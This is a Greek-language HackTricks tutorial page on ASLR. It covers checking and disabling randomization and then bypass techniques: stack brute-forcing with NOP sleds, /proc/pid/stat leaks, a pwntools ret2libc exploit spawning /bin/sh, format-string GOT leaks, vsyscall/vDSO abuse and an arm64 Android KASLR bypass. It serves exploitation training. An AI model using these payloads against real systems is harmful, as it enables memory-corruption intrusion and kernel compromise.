ASLR
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Address Space Layout Randomization (ASLR) είναι μια τεχνική ασφαλείας που χρησιμοποιείται στα λειτουργικά συστήματα για την τυχαιοποίηση των διευθύνσεων μνήμης που χρησιμοποιούνται από διεργασίες συστήματος και εφαρμογών. Με τον τρόπο αυτό, καθίσταται σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει τη θέση συγκεκριμένων διεργασιών και δεδομένων, όπως το stack, το heap και οι libraries, μειώνοντας έτσι ορισμένους τύπους exploits, ιδιαίτερα buffer overflows.
Έλεγχος κατάστασης ASLR
Για να ελέγξετε την κατάσταση ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το /proc/sys/kernel/randomize_va_space αρχείο. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο της ASLR που εφαρμόζεται:
- 0: Καμία τυχαιοποίηση. Όλα είναι στατικά.
- 1: Συντηρητική τυχαιοποίηση. Shared libraries, stack, mmap(), VDSO page τυχαιοποιούνται.
- 2: Πλήρης τυχαιοποίηση. Επιπλέον των στοιχείων που τυχαιοποιούνται από τη συντηρητική τυχαιοποίηση, η μνήμη που διαχειρίζεται μέσω του
brk()τυχαιοποιείται.
Μπορείτε να ελέγξετε την κατάσταση ASLR με την παρακάτω εντολή:
cat /proc/sys/kernel/randomize_va_space
Απενεργοποίηση ASLR
Για να απενεργοποιήσετε το ASLR, ορίζετε την τιμή του /proc/sys/kernel/randomize_va_space σε 0. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός σεναρίων testing ή debugging. Έτσι μπορείτε να το απενεργοποιήσετε:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Μπορείτε επίσης να απενεργοποιήσετε το ASLR για μια εκτέλεση με:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Ενεργοποίηση ASLR
Για να ενεργοποιήσετε την ASLR, μπορείτε να γράψετε την τιμή 2 στο αρχείο /proc/sys/kernel/randomize_va_space. Αυτό συνήθως απαιτεί δικαιώματα root. Η ενεργοποίηση της πλήρους τυχαιοποίησης μπορεί να γίνει με την ακόλουθη εντολή:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Διατήρηση μετά από επανεκκινήσεις
Οι αλλαγές που γίνονται με τις εντολές echo είναι προσωρινές και θα επαναφερθούν μετά από επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο /etc/sysctl.conf και να προσθέσετε ή να τροποποιήσετε την ακόλουθη γραμμή:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Μετά την επεξεργασία του /etc/sysctl.conf, εφαρμόστε τις αλλαγές με:
sudo sysctl -p
Αυτό θα διασφαλίσει ότι οι ρυθμίσεις ASLR θα παραμείνουν μετά από επανεκκινήσεις.
Παρακάμψεις
32bit brute-forcing
Το PaX χωρίζει το address space της διεργασίας σε 3 ομάδες:
- Code and data (initialized and uninitialized):
.text,.data, and.bss—> 16 bits εντροπίας στην μεταβλητήdelta_exec. Αυτή η μεταβλητή αρχικοποιείται τυχαία για κάθε διεργασία και προστίθεται στις αρχικές διευθύνσεις. - Memory που δεσμεύεται από
mmap()και shared libraries —> 16 bits, που ονομάζεταιdelta_mmap. - The stack —> 24 bits, αναφερόμενο ως
delta_stack. Ωστόσο, στην πράξη χρησιμοποιεί 11 bits (από το 10ο έως και το 20ό byte), στοιχισμένο σε 16 bytes —> Αυτό έχει ως αποτέλεσμα 524,288 πιθανές πραγματικές διευθύνσεις στο stack.
Τα παραπάνω δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR επαναλαμβάνοντας την εκτέλεση ξανά και ξανά μέχρι το exploit να ολοκληρωθεί επιτυχώς.
Ιδέες brute-force:
- Αν έχετε ένα αρκετά μεγάλο overflow για να τοποθετήσετε ένα μεγάλο NOP sled πριν από το shellcode, μπορείτε απλώς να brute-force διευθύνσεις στο stack μέχρι η ροή να πηδήξει πάνω από κάποιο τμήμα του NOP sled.
- Μια άλλη επιλογή, στην περίπτωση που το overflow δεν είναι τόσο μεγάλο και το exploit μπορεί να τρέξει τοπικά, είναι να τοποθετήσετε τον NOP sled και το shellcode σε μια environment variable.
- Αν το exploit είναι τοπικό, μπορείτε να προσπαθήσετε να brute-force τη base address της
libc(χρήσιμο για 32bit συστήματα):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Αν επιτίθεστε σε απομακρυσμένο server, μπορείτε να προσπαθήσετε να brute-force τη διεύθυνση της
libcσυνάρτησηςusleep, περνώντας ως όρισμα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο server πάρει 10s παραπάνω για να απαντήσει, έχετε βρει τη διεύθυνση αυτής της συνάρτησης.
Tip
Σε συστήματα 64bit η εντροπία είναι πολύ μεγαλύτερη και αυτό δεν θα πρέπει να είναι δυνατό.
64 bits stack brute-forcing
Είναι δυνατό να καταλάβετε μεγάλο μέρος του stack με env variables και στη συνέχεια να προσπαθήσετε να abuse το binary εκατοντάδες/χιλιάδες φορές τοπικά για να το exploit.
Ο ακόλουθος κώδικας δείχνει πώς είναι δυνατό να απλώς επιλέξετε μια διεύθυνση στο stack και κάθε μερικές εκατοντάδες εκτελέσεις αυτή η διεύθυνση θα περιέχει την NOP instruction:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Ανίχνευση NOP σε stack με brute-force — Python
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Τοπικές Πληροφορίες (`/proc/[pid]/stat`)
Το αρχείο **`/proc/[pid]/stat`** μιας διεργασίας είναι πάντα αναγνώσιμο από όλους και **περιέχει ενδιαφέρουσες** πληροφορίες όπως:
- **startcode** & **endcode**: Διευθύνσεις πάνω και κάτω από το **TEXT** του binary
- **startstack**: Η διεύθυνση της αρχής του **stack**
- **start_data** & **end_data**: Διευθύνσεις πάνω και κάτω από όπου βρίσκεται το **BSS**
- **kstkesp** & **kstkeip**: Τρέχουσες διευθύνσεις **ESP** και **EIP**
- **arg_start** & **arg_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται τα **cli arguments**.
- **env_start** &**env_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **env variables**.
Επομένως, αν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το binary που εκμεταλλεύεται και αυτό το binary δεν αναμένει το overflow από raw arguments αλλά από διαφορετικό input που μπορεί να κατασκευαστεί αφού διαβαστεί αυτό το αρχείο, τότε είναι πιθανό ο επιτιθέμενος να πάρει κάποιες διευθύνσεις από αυτό το αρχείο και να κατασκευάσει offsets από αυτές για το exploit.
> [!TIP]
> Για περισσότερες πληροφορίες για αυτό το αρχείο δείτε [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) αναζητώντας το `/proc/pid/stat`
### Όταν υπάρχει leak
- **Το challenge δίνει ένα leak**
Εάν σας δοθεί ένα leak (σε εύκολα CTF challenges), μπορείτε να υπολογίσετε offsets από αυτό (υποθέτοντας, για παράδειγμα, ότι γνωρίζετε την ακριβή έκδοση του libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτό το example exploit προέρχεται από το [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (δείτε εκείνη τη σελίδα για περισσότερες λεπτομέρειες):
<details>
<summary>Python exploit με δεδομένο libc leak</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Εκμεταλλευόμενος ένα buffer overflow, είναι δυνατό να εκμεταλλευτείτε ένα ret2plt για να exfiltrate μια διεύθυνση συνάρτησης από τη libc. Δείτε:
- Format Strings Arbitrary Read
Ακριβώς όπως στο ret2plt, αν έχετε ένα arbitrary read μέσω μιας format strings vulnerability, είναι δυνατό να exfiltrate τη διεύθυνση μιας libc function από το GOT. The following example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Μπορείτε να βρείτε περισσότερες πληροφορίες για το Format Strings arbitrary read στο:
Ret2ret & Ret2pop
Δοκιμάστε να παρακάμψετε την ASLR εκμεταλλευόμενοι διευθύνσεις μέσα στη στοίβα:
vsyscall
The vsyscall mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. Το κρίσιμο πλεονέκτημα των vsyscalls έγκειται στις fixed addresses, οι οποίες δεν υπόκεινται στην ASLR (Address Space Layout Randomization). Αυτή η σταθερή φύση σημαίνει ότι οι attackers δεν χρειάζονται μια ευπάθεια τύπου information leak για να καθορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε ένα exploit.
Ωστόσο, δεν θα βρείτε εδώ ιδιαίτερα ενδιαφέροντα gadgets (αν και, για παράδειγμα, είναι δυνατό να βρείτε ένα ισοδύναμο ret;)
(The following example and code is from this writeup)
Για παράδειγμα, ένας attacker μπορεί να χρησιμοποιήσει τη διεύθυνση 0xffffffffff600800 μέσα σε ένα exploit. Η προσπάθεια άμεσης εκτέλεσης ενός ret instruction μπορεί να οδηγήσει σε αστάθεια ή crashes μετά την εκτέλεση μερικών gadgets, ενώ το άλμα στην αρχή ενός syscall που παρέχεται από το τμήμα vsyscall μπορεί να αποδειχθεί επιτυχές. Τοποθετώντας προσεκτικά ένα ROP gadget που κατευθύνει την εκτέλεση σε αυτή τη διεύθυνση vsyscall, ένας attacker μπορεί να επιτύχει code execution χωρίς να χρειάζεται να παρακάμψει την ASLR για αυτό το μέρος του exploit.
Παράδειγμα vmmap/vsyscall και αναζήτηση gadget
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
Σημειώστε επομένως πώς μπορεί να είναι δυνατό να bypass ASLR abusing the vdso εάν ο kernel είναι compiled με CONFIG_COMPAT_VDSO, καθώς η διεύθυνση του vdso δεν θα randomized. Για περισσότερες πληροφορίες δείτε:
KASLR on ARM64 (Android): bypass via fixed linear map
Σε πολλούς arm64 Android kernels, η βάση του kernel linear map (direct map) είναι fixed ανάμεσα σε boots. Οι Kernel VAs για physical pages γίνονται προβλέψιμες, καταργώντας την αποτελεσματικότητα του KASLR για στόχους που είναι reachable μέσω του direct map.
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymsγια να βρείτεmemstart_addr- Read 8 bytes at that address (LE) using any kernel read (e.g., tracing-BPF helper calling
BPF_FUNC_probe_read_kernel) - Compute direct-map VAs:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- No separate KASLR leak needed if the target is in/reachable via the direct map (e.g., page tables, kernel objects on physical pages you can influence/observe).
- Simplifies reliable arbitrary R/W and targeting of kernel data on arm64 Android.
Reproduction summary
grep memstart /proc/kallsyms-> address ofmemstart_addr- Kernel read -> decode 8 bytes LE ->
PHYS_OFFSET - Use
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)withPAGE_OFFSET=0xffffff8000000000
Note
Access to tracing-BPF helpers requires sufficient privileges; any kernel read primitive or info leak suffices to obtain
PHYS_OFFSET.
How it’s fixed
- Limited kernel VA space plus CONFIG_MEMORY_HOTPLUG reserves VA for future hotplug, pushing the linear map to the lowest VA (fixed base).
- Upstream arm64 removed linear-map randomization (commit
1db780bafa4c).
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

